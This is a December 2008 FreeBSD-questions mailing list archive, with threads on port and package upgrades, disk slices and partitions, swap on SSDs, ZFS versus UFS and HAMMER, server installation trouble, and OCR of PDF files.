http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081202/8090d262/attachment-0001.pgp From perrin at apotheon.com Tue Dec 2 08:29:18 2008 From: perrin at apotheon.com (Chad Perrin) Date: Tue Dec 2 08:29:26 2008 Subject: FreeBSD and hardware?? In-Reply-To: <20081201193722.A10843@wojtek.tensor.gdynia.pl> References: <20081121211828.GA9493@kokopelli.hydra> <20081201193722.A10843@wojtek.tensor.gdynia.pl> Message-ID: <20081202162915.GB5851@kokopelli.hydra> On Mon, Dec 01, 2008 at 07:39:39PM +0100, Wojciech Puchar wrote: > > unix is not windows replacements. all of these GUI overlays for which that > much noise is heard are not just overlays, but are poorly designed even > more poorly than windows. > > Windows is poorly designed too but at least it's somehow complete. What are you -- a troll? -- Chad Perrin [ content licensed PDL: http://pdl.apotheon.org ] Quoth Larry Wall: "Perl is, in intent, a cleaned up and summarized version of that wonderful semi-natural language known as 'Unix'." -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081202/f98bd938/attachment.pgp From mail at ozzmosis.com Tue Dec 2 08:43:12 2008 From: mail at ozzmosis.com (andrew clarke) Date: Tue Dec 2 08:43:19 2008 Subject: [freebsd-questions] Looking @ upgrades mechanisms... In-Reply-To: <200812021722.54517.fbsd.questions@rachie.is-a-geek.net> References: <200812020928.46110.fbsd.questions@rachie.is-a-geek.net> <20081202161358.GC2158@ozzmosis.com> <200812021722.54517.fbsd.questions@rachie.is-a-geek.net> Message-ID: <20081202164306.GA3341@ozzmosis.com> On Tue 2008-12-02 17:22:53 UTC+0100, Mel (fbsd.questions@rachie.is-a-geek.net) wrote: > > Yes, this happens. -PP is not ideal for regular updates but it's > > still useful for when you have a new FreeBSD install with no packages > > installed, and want to get up and running quickly, grabbing the most > > recent binaries of all your favourite ports instead of building them > > all from source. > > That's infinitely slower than pkg_add -r . Hmm. Yes. I'm trying to remember why I did not like pkg_add -r. On the other hand I may be imagining any preference I had towards portupgrade -PP. Sorry :) From jevv.cr at gmail.com Tue Dec 2 08:43:40 2008 From: jevv.cr at gmail.com (Javier Vasquez) Date: Tue Dec 2 08:43:50 2008 Subject: [freebsd-questions] Looking @ upgrades mechanisms... In-Reply-To: <20081202160822.GB2158@ozzmosis.com> References: <20081202160822.GB2158@ozzmosis.com> Message-ID: On 12/2/08, andrew clarke wrote: > On Tue 2008-12-02 00:41:58 UTC-0600, Javier Vasquez (jevv.cr@gmail.com) > wrote: > >> I was reading chapter 4 of the handbook, as well as chapters 24 and >> 26... If I got it clear, I pretty much might get the base system >> updated by using freebsd-update script. Ports collection can get >> updated with portsnap, but that doesn't update neither the intalled >> ports, nor the installed packages. To upgrade the installed ports, >> portmanager or portmaster or portupgrade can be used... However only >> portupgrade can be used to upgrade packages, right? >> >> Now, can something like "portupgrade -a -PP" to upgrade all packages >> without building a thing (might be that some don't get updated due to >> the lack of binary package yet, and in such case would dependencies be >> managed right)? > > Right. > >> More into how things work, as ports and pacakages are not part of the >> base systems, are they somehow associated to a particular release >> (most probably not)? So that pretty much no matter the release, if >> packages and ports are kept up to date, they might be the same for all >> releases? > > There are downloadable packages that are regularly built from the > latest ports tree. There are different packages available for > different releases though (eg. 6.x vs 7.x, i386 vs amd64). > > The theory goes that you can use i386 packages built for (for example) > 6.4 on a 6.3 system. Possibly all the way back to 6.0. If you're > relying on prebuilt packages then ideally you should try to keep the > base system updated where possible. > >> I'm asking these questions since I'm evaluating moving to BSD, but I >> want to avoid compiling as much as possible since my box is 800MHz >> piii celeron with just 32KB of cache and 512MB of ram, and for it >> source based distributions have proven to be too much to handle, so my >> intention would be to live with binary packages and updates/upgrades >> only... > > Those specs should be fine if you're building "small" software such as > Squid, Apache, Samba, etc. I build everything I need (http server + > http cache + mail server + spam filter + more) from source using a 1 > GHz Pentium III with 256 Mb (using portmaster). > > Firefox, GNOME or KDE would take a long time with 800 MHz. But I > wouldn't really like to run those big apps at only 800 MHz either. > > There's no reason why you can't install the larger software from > packages then just build the smaller stuff from source. With > portupgrade -PP you're still going to have to keep your ports tree > updated (I use portsnap) so it's not a lot of extra effort to build > from source. Actually I don't run desktop managers, just plain fluxbox over X. And I use X mostly to browse the web. But any ways, I've run source based linux distributions in the past, and although it's fun, my box takes too much time to keep up with the rolling changes. So I've learned it's better to keep updating through binaries in this good old boxes... >> Also if remaining under -STABLE, is all this possible? Kind of >> understood that openoffice.org can't be installed with "pkg_add -r", >> so most probably if living under -STABLE automatic updates for >> openoffice.org won't show up... So this kinds of answers one previous >> question about the packages been independent from the base system >> release, it looks like they aren't... > > Not too sure what you're asking here, and I've never used -STABLE. > Keep in mind though that you can't use freebsd-update if you're using > -STABLE (AFAIK). Ups, I didn't know that... so freebsd-update only works on -RELEASE's. I'm not sure that was explicit in the documentation, good to know, :) So the only way to live in -STABLE up to date is to keep the base system up to date through compilation... Thanks, -- Javier From jerrymc at msu.edu Tue Dec 2 08:44:30 2008 From: jerrymc at msu.edu (Jerry McAllister) Date: Tue Dec 2 08:44:37 2008 Subject: UFS partitioning In-Reply-To: <20081202111740.96805018.freebsd@edvax.de> References: <20081202111740.96805018.freebsd@edvax.de> Message-ID: <20081202163920.GE90039@gizmo.acns.msu.edu> On Tue, Dec 02, 2008 at 11:17:40AM +0100, Polytropon wrote: > On Tue, 2 Dec 2008 10:56:44 +0100 (CET), Pieter Donche wrote: > > If FreeBSD is to put on the system as only operating system (Fdisk: > > "A = Use Entire disk"), then will the BSD-partitions will show up as > > ad0a (/), ad0b (swap), ad0d (/var) etc... correct or not (then what)? > > You're mixing terminology here. :-) The "use entire disk" will > create a slice for FreeBSD covering the complete disk. A slice > is what MICROS~1 calls "primary partition". > > Now the conclusion: Let's say you create a slice on ad0, it will > be ad0s1. Now you can create partitions inside this slice as you > mentioned it, e. g. ad0s1a = /, ad0s1b = swap, ad0s1d = /tmp, > ad0s1e = /var, ad0s1f = /usr and ad0s1g = /home. True. Too bad MS had to use the same terminology for slices as FreeBSD uses for subdivisions of slices. But, it won't be undone now, so the confusion will continue. > But if you're > refering to ad0a, ad0b, ad0d etc. you're stating that there's > no slice, implying that (if I see this correctly) it isn't possible > to boot from that disk. It is correct that this would imply no slice being created. But it is not correct that it could not be bootable. You can use bsdlabel to write the boot sector to ad0 instead of ad0s1 and it would be bootable - but would be what someone has enjoyed describing as a 'dangerously dedicated' disk. FreeBSD can deal with it, but other systems cannot. I don't know if you can do this from sysinstall though. I have never tried. But, it can be done by running bsdlabel by hand. > Of couse, if you would intend to use > a (physical) second disk for only the home partition, you could > omit the slice and the partition and simply newfs ad1 - but > that wasn't your question. Probably the 'dangerously dedicated' disk is more often used this way as an additional (second) drive that is not made bootable. In that case, it is unlikely that one would mount any of the partitions on '/' making it the root filesystem. That may be a problem. But, otherwise this looks probable or more likely it would have some swap to add to the first disk and all the rest in either the a or d partitions mounted as something like '/work' or /scratch'. > > ad0 |-----------------------------------------------| the whole disk > ad0s1 \----------------------------------------------/ one slice > ad0s1X \--/\---/\-----/\-----/\-------/\------------/ partitions > a b d e f g > / swap /tmp /var /usr /home mount point Have fun, ////jerry > > In case of "dual booting", you usually have more than one slice > on your disk, but what happens inside the FreeBSD slice is mostly > the same. > > > > Page 427 of the FreeBSD handbook states that due to the use of 32-bit > > integers to store the number of sectors is limited to 2^32 -1 > > sectors/disk = 2 TB. A layout could be See my other message about this part. > > a / 1Gb, > > b swap, > > d /root 20 Gb, (a /root partition is from an example of someone who > > claims that at boot FreeBSD checks the partions in background except > > for the / partition, by keeping / as small as possible, the time to > > boot can be mimimized .. correct? but will /root ever be something > > big ??) > > No no, / refers to "the root partition". One way of setting > up p?artitions is just to have one partition (one root parttion) > and put everything on it, including /tmp, /var, /usr and /home. > Another philosophy is to create partitions designated to their > further use, just as I mentioned it above. > > For /, you would hardly need more than 1 GB. It just contains > the kernel, basal system binaries, the configuration files and > the directories that are mount points for all the other file > systems. Even a 256 MB / partition should be enoung. > > > > e /tmp 20 Gb, > > f /var 20 Gb, > > g /usr 20 Gb > > this leaves 2420 Gb which is more than 2 Tb, so you can't put all > > that in 1 filesystem h /home, you will need to split that in 2 > > BSD-paritions, but since you can't have more that 8 BSD-partitions > > (highest BSD-partition letter is h), you need to give up at least > > one of d, e, f, g. ... correct or not (then what)? > > I quite doubt that FreeBSD's UFS 2 cannot handle a 2 TB partition > as a whole, but because I don't have sch large disks with UFS > (I have ZFS for them), I cannot tell. > > > > > > PS. Corrected subject (was missing). > > -- > Polytropon > >From Magdeburg, Germany > Happy FreeBSD user since 4.0 > Andra moi ennepe, Mousa, ... > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From anthony.rasat at gmail.com Tue Dec 2 08:57:01 2008 From: anthony.rasat at gmail.com (Anthony M. Rasat) Date: Tue Dec 2 08:57:09 2008 Subject: To swap or not to swap Message-ID: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> Fellas, I need opinions. Asus Eee PC, SSD storage, 512MB RAM, with GNOME and other desktop thingy (testing out of curiousity). Question is, swap or no swap? Remember, this is SSD, it is reasonable to have no swap. However, what if I wanted OpenOffice? This beast is memory hog AFAIK. Thanks for opinions. -- Regards, Anthony M. Rasat Manager - Technical, Network and Support Division PT. Jawa Pos National Network Graha Pena Jawa Pos Group Building, 5th floor Jln. Raya Kebayoran Lama 12, Jakarta Barat 12210 Indonesia.- Phone 02132185562 Phone 081574217035 Fax 02153651465 Web http://www.jpnn.com From mikel.king at olivent.com Tue Dec 2 09:06:27 2008 From: mikel.king at olivent.com (Mikel King) Date: Tue Dec 2 09:06:34 2008 Subject: To swap or not to swap In-Reply-To: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> Message-ID: <990F83AE-AA60-454A-A456-7D91C0BE6D6A@olivent.com> On Dec 2, 2008, at 11:56 AM, Anthony M. Rasat wrote: > Fellas, I need opinions. Asus Eee PC, SSD storage, 512MB RAM, with > GNOME and other desktop thingy (testing out of curiousity). > > Question is, swap or no swap? Remember, this is SSD, it is > reasonable to have no swap. However, what if I wanted OpenOffice? > This beast is memory hog AFAIK. Thanks for opinions. > > -- Anthony, SSD or no, I feel that you should treat it as you would any other hard disk. Plan for a swap space, albeit a smaller one than you would normally allocate perhaps. Cheers, Mikel From dan-freebsd-questions at ourbrains.org Tue Dec 2 09:07:46 2008 From: dan-freebsd-questions at ourbrains.org (Dan) Date: Tue Dec 2 09:07:53 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <20081202110922.T14849@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> Message-ID: <20081202170805.GA20420@ourbrains.org> Wojciech Puchar(wojtek@wojtek.tensor.gdynia.pl)@2008.12.02 11:09:53 +0100: >>> What about DragonFlyBSD's new HAMMER FS? I hear it has similar capabilities >>> as ZFS without the overhead. Though, strangely, I haven't really heard >>> anyone discuss it even though it was released some months ago. > > it's maybe pre-pre-prerelease. > > it's not finished yet. It's already usable on DragonFly. DragonFLY itself is stable, but only supports one CPUIt probably will never be ported to FreeBSD due to API differences. From lists at lizardhill.com Tue Dec 2 09:14:30 2008 From: lists at lizardhill.com (Don O'Neil) Date: Tue Dec 2 09:14:37 2008 Subject: Best Journaling File System - ZFS/??? Message-ID: With all the discussions of ZFS lately, I'm beginning to wonder if it's really ready for a production environment. Concerns over memory utilization, speed, stability, etc... So, my question is this... If you were building a brand new 6.3/7.0 server with decent performance (dual core, 32 Bit OS - because of known compatibility issues with specific software, 4 GB RAM, etc...) what file system would you choose? What options are out there besides UFS and ZFS? What FS's are least likely to have corruption issues when there are power hits? From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 10:03:46 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 10:04:00 2008 Subject: Best Journaling File System - ZFS/??? In-Reply-To: References: Message-ID: <20081202190301.H16084@wojtek.tensor.gdynia.pl> > With all the discussions of ZFS lately, I'm beginning to wonder if it's > really ready for a production environment. Concerns over memory utilization, no > speed, stability, etc... > > So, my question is this... If you were building a brand new 6.3/7.0 server > with decent performance (dual core, 32 Bit OS - because of known > compatibility issues with specific software, 4 GB RAM, etc...) what file > system would you choose? What options are out there besides UFS and ZFS? i use UFS everywhere. it's ACTUALLY high performance, just lacking ZFS fancy features. From bsam at ipt.ru Tue Dec 2 10:03:48 2008 From: bsam at ipt.ru (Boris Samorodov) Date: Tue Dec 2 10:04:01 2008 Subject: [freebsd-questions] Looking @ upgrades mechanisms... In-Reply-To: <200812021722.54517.fbsd.questions@rachie.is-a-geek.net> (Mel's message of "Tue\, 2 Dec 2008 17\:22\:53 +0100") References: <200812020928.46110.fbsd.questions@rachie.is-a-geek.net> <20081202161358.GC2158@ozzmosis.com> <200812021722.54517.fbsd.questions@rachie.is-a-geek.net> Message-ID: <82180575@bb.ipt.ru> Mel writes: > On Tuesday 02 December 2008 17:13:58 andrew clarke wrote: >> On Tue 2008-12-02 09:28:44 UTC+0100, Mel > (fbsd.questions@rachie.is-a-geek.net) wrote: >> > Portupgrade -PP is detrimental for bandwidth. It's not really >> > portupgrade's fault (well, partially, it shouldn't offer the feature), >> > because it will quite often download Latest/foo.tbz, unpack it entirely >> > and then say "oops, I downloaded this useless package which is older or >> > equal to what you have installed". >> >> Yes, this happens. -PP is not ideal for regular updates but it's >> still useful for when you have a new FreeBSD install with no packages >> installed, and want to get up and running quickly, grabbing the most >> recent binaries of all your favourite ports instead of building them >> all from source. > > That's infinitely slower than pkg_add -r . Don't use "portupgrade -NPP ". ;-) But "portupgrade -PP " really *upgrades* packages. WBR -- Boris Samorodov (bsam) Research Engineer, http://www.ipt.ru Telephone & Internet SP FreeBSD committer, http://www.FreeBSD.org The Power To Serve From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 10:04:32 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 10:04:40 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <20081202170805.GA20420@ourbrains.org> References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> <20081202170805.GA20420@ourbrains.org> Message-ID: <20081202190351.Q16084@wojtek.tensor.gdynia.pl> > > It's already usable on DragonFly. DragonFLY itself is stable, but only > supports one CPUIt probably will never be ported to FreeBSD due to > API differences. time to wait and see if they will really make dragonfly faster than FreeBSD (it's their goal)... From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 10:05:34 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 10:05:41 2008 Subject: To swap or not to swap In-Reply-To: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> Message-ID: <20081202190428.M16084@wojtek.tensor.gdynia.pl> > Fellas, I need opinions. Asus Eee PC, SSD storage, 512MB RAM, with GNOME and other desktop thingy (testing out of curiousity). > > Question is, swap or no swap? Remember, this is SSD, it is reasonable to have no swap. However, what if I wanted OpenOffice? This beast is memory hog AFAIK. Thanks for opinions. without gnome openoffice starts without problems on 256MB RAM without storage. no - don't use swap on SSD. simply remove unneeded bloat (gnome/kde etc) and 512MB will be more than plenty From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 10:06:04 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 10:06:11 2008 Subject: To swap or not to swap In-Reply-To: <990F83AE-AA60-454A-A456-7D91C0BE6D6A@olivent.com> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> <990F83AE-AA60-454A-A456-7D91C0BE6D6A@olivent.com> Message-ID: <20081202190536.G16084@wojtek.tensor.gdynia.pl> > > Anthony, > > SSD or no, I feel that you should treat it as you would any other hard disks doesn't wear on writes. SSD do From cboyd at gizmopartners.com Tue Dec 2 10:13:16 2008 From: cboyd at gizmopartners.com (Chris Boyd) Date: Tue Dec 2 10:13:24 2008 Subject: Installation on a Dell Poweredge R805 Message-ID: <31B0BD29-CAE5-452B-BB24-24ACC39FD2E6@gizmopartners.com> I'm having an issue installing FreeBSD 7 AMD64 on a Dell Poweredge R805. The system starts to boot, throws several mpt_cam_event 0x12 and 0x16 errors, presents the boot menu, and then crashes with a "Fatal trap 12: page fault while in kernel mode" and then wants to reboot. This is a dual CPU, quad core Opteron 2352 system with 8GB RAM and dual SAS on a PERC6 controller. I've tried various memory and BIOS settings to see if I can get it to boot, but it either does the bits describe above, or hangs hard. Any and all suggestions appreciated. --Chris From m.seaman at infracaninophile.co.uk Tue Dec 2 10:19:34 2008 From: m.seaman at infracaninophile.co.uk (Matthew Seaman) Date: Tue Dec 2 10:19:47 2008 Subject: FreeBSD 7.0: which distribution In-Reply-To: References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> Message-ID: <49357BAC.3010602@infracaninophile.co.uk> Pieter Donche wrote: > On Tue, 2 Dec 2008, Ebbe Hjorth wrote: > >> Hi, >> All new XEON cpus are 64-bit spo use the 64 bit freebsd version. > So this would point to "ia64" distribution? > But clicking op www.freebsd.com/where.html - Hardware notes/View > tells for ia64: Currently supported processors are Itanium and Itanium2 > There nothing about Intel XEON ?? No -- ia64 is the Itanium chip. Use amd64 for Xeons -- it covers all recent multi-core Intel chips as well as the AMD 64bit processors. Cheers, Matthew -- Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 258 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081202/612a3e4f/signature.pgp From m.seaman at infracaninophile.co.uk Tue Dec 2 10:19:35 2008 From: m.seaman at infracaninophile.co.uk (Matthew Seaman) Date: Tue Dec 2 10:19:48 2008 Subject: FreeBSD 7.0: which distribution In-Reply-To: References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> Message-ID: <49357B3D.6070501@infracaninophile.co.uk> Pieter Donche wrote: > On Tue, 2 Dec 2008, Ebbe Hjorth wrote: > >> Hi, >> All new XEON cpus are 64-bit spo use the 64 bit freebsd version. > So this would point to "ia64" distribution? > But clicking op www.freebsd.com/where.html - Hardware notes/View > tells for ia64: Currently supported processors are Itanium and Itanium2 > There nothing about Intel XEON ?? No -- ia64 is the Itanium chip. Use amd64 for Xeons -- it covers all recent multi-core Intel chips as well as the AMD 64bit processors. Cheers, Matthew -- Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 258 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081202/091eefb1/signature.pgp From m.seaman at infracaninophile.co.uk Tue Dec 2 10:20:16 2008 From: m.seaman at infracaninophile.co.uk (Matthew Seaman) Date: Tue Dec 2 10:20:23 2008 Subject: FreeBSD 7.0: which distribution In-Reply-To: References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> Message-ID: <49357C39.5010107@infracaninophile.co.uk> Pieter Donche wrote: > On Tue, 2 Dec 2008, Ebbe Hjorth wrote: > >> Hi, >> All new XEON cpus are 64-bit spo use the 64 bit freebsd version. > So this would point to "ia64" distribution? > But clicking op www.freebsd.com/where.html - Hardware notes/View > tells for ia64: Currently supported processors are Itanium and Itanium2 > There nothing about Intel XEON ?? No -- ia64 is the Itanium chip. Use amd64 for Xeons -- it covers all recent multi-core Intel chips as well as the AMD 64bit processors. Cheers, Matthew -- Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 258 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081202/0e8f1711/signature.pgp From jerrymc at msu.edu Tue Dec 2 10:30:51 2008 From: jerrymc at msu.edu (Jerry McAllister) Date: Tue Dec 2 10:30:58 2008 Subject: To swap or not to swap In-Reply-To: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> Message-ID: <20081202182554.GA90678@gizmo.acns.msu.edu> On Tue, Dec 02, 2008 at 04:56:52PM +0000, Anthony M. Rasat wrote: > Fellas, I need opinions. Asus Eee PC, SSD storage, 512MB RAM, with GNOME > and other desktop thingy (testing out of curiousity). > > Question is, swap or no swap? Remember, this is SSD, it is reasonable > to have no swap. However, what if I wanted OpenOffice? This beast is > memory hog AFAIK. Thanks for opinions. First, please break your lines at around 70 characters. It makes it much easier to read and to respond. Yes, have some swap. The system uses this space for more than swapping out processes. It uses it for paging and for crash dumping. The rule of thumb is 2.2 times memory size. ////jerry > > -- > > Regards, > > Anthony M. Rasat > Manager - Technical, Network and Support Division > PT. Jawa Pos National Network > Graha Pena Jawa Pos Group Building, 5th floor > Jln. Raya Kebayoran Lama 12, Jakarta Barat 12210 > Indonesia.- > Phone 02132185562 > Phone 081574217035 > Fax 02153651465 > Web http://www.jpnn.com > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From fbsd.questions at rachie.is-a-geek.net Tue Dec 2 10:41:50 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Tue Dec 2 10:41:57 2008 Subject: [freebsd-questions] Looking @ upgrades mechanisms... In-Reply-To: <82180575@bb.ipt.ru> References: <200812021722.54517.fbsd.questions@rachie.is-a-geek.net> <82180575@bb.ipt.ru> Message-ID: <200812021941.47714.fbsd.questions@rachie.is-a-geek.net> On Tuesday 02 December 2008 19:03:44 Boris Samorodov wrote: > Mel writes: > > On Tuesday 02 December 2008 17:13:58 andrew clarke wrote: > >> On Tue 2008-12-02 09:28:44 UTC+0100, Mel > > > > (fbsd.questions@rachie.is-a-geek.net) wrote: > >> > Portupgrade -PP is detrimental for bandwidth. It's not really > >> > portupgrade's fault (well, partially, it shouldn't offer the feature), > >> > because it will quite often download Latest/foo.tbz, unpack it > >> > entirely and then say "oops, I downloaded this useless package which > >> > is older or equal to what you have installed". > >> > >> Yes, this happens. -PP is not ideal for regular updates but it's > >> still useful for when you have a new FreeBSD install with no packages > >> installed, and want to get up and running quickly, grabbing the most > >> recent binaries of all your favourite ports instead of building them > >> all from source. > > > > That's infinitely slower than pkg_add -r . > > Don't use "portupgrade -NPP ". ;-) > But "portupgrade -PP " really *upgrades* packages. Don't assume that the @pkgdep lines in a given package on the FreeBSD servers will always point to an existing package. If it doesn't, watch what happens: Latest/foo.tbz based on s/@name (.*)-[^-]+$/$1/ extract foo.tbz entirely, rather then just +CONTENTS which is the first file in the tar archive find out that foo = foo-older-then-installed and discard the package I've solved this myself with an index format like this: # bzcat /var/pkg/7-stable/All/INDEX.bz2 |tail -1 archivers/zip:zip-3.0.tbz:72f4fcc337c74240eaa8ae989a452835231fe7ff32c7469094e3a5fe411d7430:181194 $origin:$pkgname.tbz:$sha256:$size High level view: Compare btree of /var/db/pkg with btree of indexfile, download and upgrade. Saves bogus downloads and doesn't need a portstree. Cons: buildserver needs to periodically create the index, index needs to be downloaded. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From rvm at CBORD.com Tue Dec 2 10:44:21 2008 From: rvm at CBORD.com (Bob McConnell) Date: Tue Dec 2 10:44:29 2008 Subject: FreeBSD and hardware?? In-Reply-To: <20081202162808.GA5851@kokopelli.hydra> References: <20081121211828.GA9493@kokopelli.hydra> <20081202162808.GA5851@kokopelli.hydra> Message-ID: On Behalf Of Chad Perrin > On Mon, Dec 01, 2008 at 01:25:24PM -0500, Bob McConnell wrote: >> On Behalf Of Chad Perrin >> >> On the other hand, both Unix and Linux have a long way to go before they >> can match Microsoft's ease of use on the GUI. I believe the best way >> to attack that problem is to find a new paradigm to replace the desktop, >> which is not a great interface model to begin with. > > I guess that depends on your definition of "ease of use". In my little > world, "ease of use" involves the ease, efficiency, and speed of task > completion via an interface with which I'm familiar. It seems from what > you said that in your little world "ease of use" means "familiarity", > since that's really the major win for MS Windows interfaces, to the > majority of its users. Here are two simple tests for ease of use. 1. View a tree of files and directories, some local some remote mounts. Highlight a random group of those objects. Move the entire group in one motion by dragging and dropping the collection to a new location in the tree. 2. Do an SMB mount of remote directories onto the desktop or your home directory. Open any application and access files in that directory as easily as when they are on the local drive. I have not been able to do either of these on Ubuntu 7.10 or XFCE/Slackware 12. In the first case, I need to cut and paste the individual files one at a time. I can't even move a directory. In the second, I have been unable to get Amarok, vlc, xine or any other multimedia application I have tried, to recognize the SMB mounted directory. It is invisible to them. At the application level there should be absolutely no difference between a local drive and a mounted remote drive, no matter what protocol was used to mount it. The application should not need to implement smb:// itself. I am not even going to talk about how difficult it is to find and modify basic configuration files, particularly after the LSB crowd really screwed everything up. Once you fix basic problems like these, then we can talk about how to redefine ease of use. Bob McConnell From rsmith at xs4all.nl Tue Dec 2 10:56:23 2008 From: rsmith at xs4all.nl (Roland Smith) Date: Tue Dec 2 10:56:31 2008 Subject: any way to turn a pdf file into something OCR-able? In-Reply-To: <18740.36349.523718.591189@jerusalem.litteratus.org> References: <20081201231440.GA30682@thought.org> <20081202010730.GA15970@slackbox.xs4all.nl> <18740.36349.523718.591189@jerusalem.litteratus.org> Message-ID: <20081202185619.GA44591@slackbox.xs4all.nl> On Mon, Dec 01, 2008 at 08:23:09PM -0500, Robert Huff wrote: > > Roland Smith writes: > > > > pdftotext fail on the large [32MB] file I've got. Is there any > > > other way I can translate this huge textfile to ascii or html or > > > text? > > > > > Please define "fail" in this context? I've used pdftotxt on > > documents exceeding 40MB. However there are of course things that > > don't work; > > > > 1) Some PDFs are just wrappers around JPEG images. In this case > > there is no text for pdftotext to convert => epic fail. > > In this case "convert" from the ImageMagick port will get you a > series of .jpg/.gif/.. Read the manual carefully before > attempting; also note this can be a slow process. Which still doesn't give plain text. But in this case one would need an OCR app. There is a new one available in ports called cuneiform. It is supposed to be quite good, but I haven't had the need to try it yet. I've tried gocr and tesseract in the past but was not really impressed with them. For short documents it's easier to do the OCR with the Mk I eyeball & brain. :-) You'll have to completely check an OCR-ed document for errors anyway. Roland -- R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081202/42aebb7a/attachment.pgp From ivoras at freebsd.org Tue Dec 2 11:00:59 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Tue Dec 2 11:01:06 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <20081202190351.Q16084@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> <20081202170805.GA20420@ourbrains.org> <20081202190351.Q16084@wojtek.tensor.gdynia.pl> Message-ID: Wojciech Puchar wrote: >> >> It's already usable on DragonFly. DragonFLY itself is stable, but only >> supports one CPUIt probably will never be ported to FreeBSD due to >> API differences. > > time to wait and see if they will really make dragonfly faster than > FreeBSD (it's their goal)... http://people.freebsd.org/~kris/scaling/dfly.html Good luck to them, they need it :) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 258 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081202/ab5d3671/signature.pgp From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 11:01:35 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 11:01:43 2008 Subject: To swap or not to swap In-Reply-To: <20081202182554.GA90678@gizmo.acns.msu.edu> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> <20081202182554.GA90678@gizmo.acns.msu.edu> Message-ID: <20081202200112.L16307@wojtek.tensor.gdynia.pl> > Yes, have some swap. The system uses this space for more than swapping > out processes. It uses it for paging and for crash dumping. The > rule of thumb is 2.2 times memory size. why not 2.17? From michael.copeland at gmail.com Tue Dec 2 11:02:29 2008 From: 